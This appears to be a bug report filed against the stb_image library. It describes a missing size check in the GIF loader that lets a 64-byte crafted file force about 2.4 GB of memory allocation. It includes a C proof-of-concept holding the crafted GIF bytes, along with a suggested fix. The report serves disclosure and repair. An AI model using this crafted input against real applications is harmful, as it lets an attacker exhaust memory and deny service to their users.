#2001·stb

stb_image GIF: missing aggregate bounds check on background+history buffers allows ~2.4GB allocation from 64-byte input

Author: sanasimran1403-jpgCreated Sep 10, 2026Updated Sep 10, 2026

stb_image GIF: missing aggregate bounds check allows ~2.4GB allocation from 64-byte file

File: stb_image.h Function: stbi__gif_load_next() Lines: 6790-6795 Related: #1992, #1996 (same root cause, different code path)

Description

In stbi__gif_load_next(), only the out buffer allocation is guarded by stbi__mad3sizes_valid(). The background and history buffers are allocated immediately after with no additional size validation:

if (!stbi__mad3sizes_valid(4, g->w, g->h, 0))   // guards 'out' only
    return stbi__errpuc("too large", "GIF image is too large");

pcount = g->w * g->h;
g->out        = stbi__malloc(4 * pcount);  // ✅ protected
g->background = stbi__malloc(4 * pcount);  // ❌ unguarded
g->history    = stbi__malloc(pcount);      // ❌ unguarded

Total allocation = 4*pcount + 4*pcount + pcount = 9*pcount.

With g->w=16384, g->h=16448 (both below STBI_MAX_DIMENSIONS=16777216):

  • out = 1,077,936,128 bytes (~1.0 GB)
  • background = 1,077,936,128 bytes (~1.0 GB) — unguarded
  • history = 269,484,032 bytes (~0.25 GB) — unguarded
  • Total: ~2.4 GB from a 64-byte input

Reproduction

Build with libFuzzer + ASan, or use directly:

#define STB_IMAGE_IMPLEMENTATION
#include "stb_image.h"
#include <stdio.h>
int main() {
    // 64-byte crafted GIF (16384x16448 dimensions)
    unsigned char poc[] = {
        0x47,0x49,0x46,0x38,0x39,0x61,  // GIF89a
        0x00,0x40,                        // width = 16384
        0x40,0x40,                        // height = 16448
        0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,
        0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,
        0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,
        0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,
        0x40,0x40,0x40,0x40,0x00,0x00,0x00,0x00,0x00,0x00,
        0x00,0x4a,0x46,0x01,0x00,0x00
    };
    int w, h, c;
    stbi_uc *img = stbi_load_from_memory(poc, sizeof(poc), &w, &h, &c, 0);
    if (img) stbi_image_free(img);
    return 0;
}

Result: libFuzzer reports OOM after allocating 2.4 GB.

Impact

Denial of Service — any application using stb_image to process untrusted GIF files can be forced to exhaust system memory with a 64-byte payload.

Suggested Fix

Guard all three allocations against the aggregate size:

// Check that all three allocations together won't exceed safe limits
if (!stbi__mad3sizes_valid(4, g->w, g->h, 0) ||
    (size_t)g->w * g->h > (1u << 26))   // 64M pixels max
    return stbi__errpuc("too large", "GIF image is too large");

Or add individual checks matching the out pattern.

Discovery

Found via libFuzzer + ASan campaign on stb_image.h. Fuzzer input: 64-byte GIF file (attached as oom artifact). Environment: Ubuntu 24.04 (WSL2), x86_64, clang 21.1.8.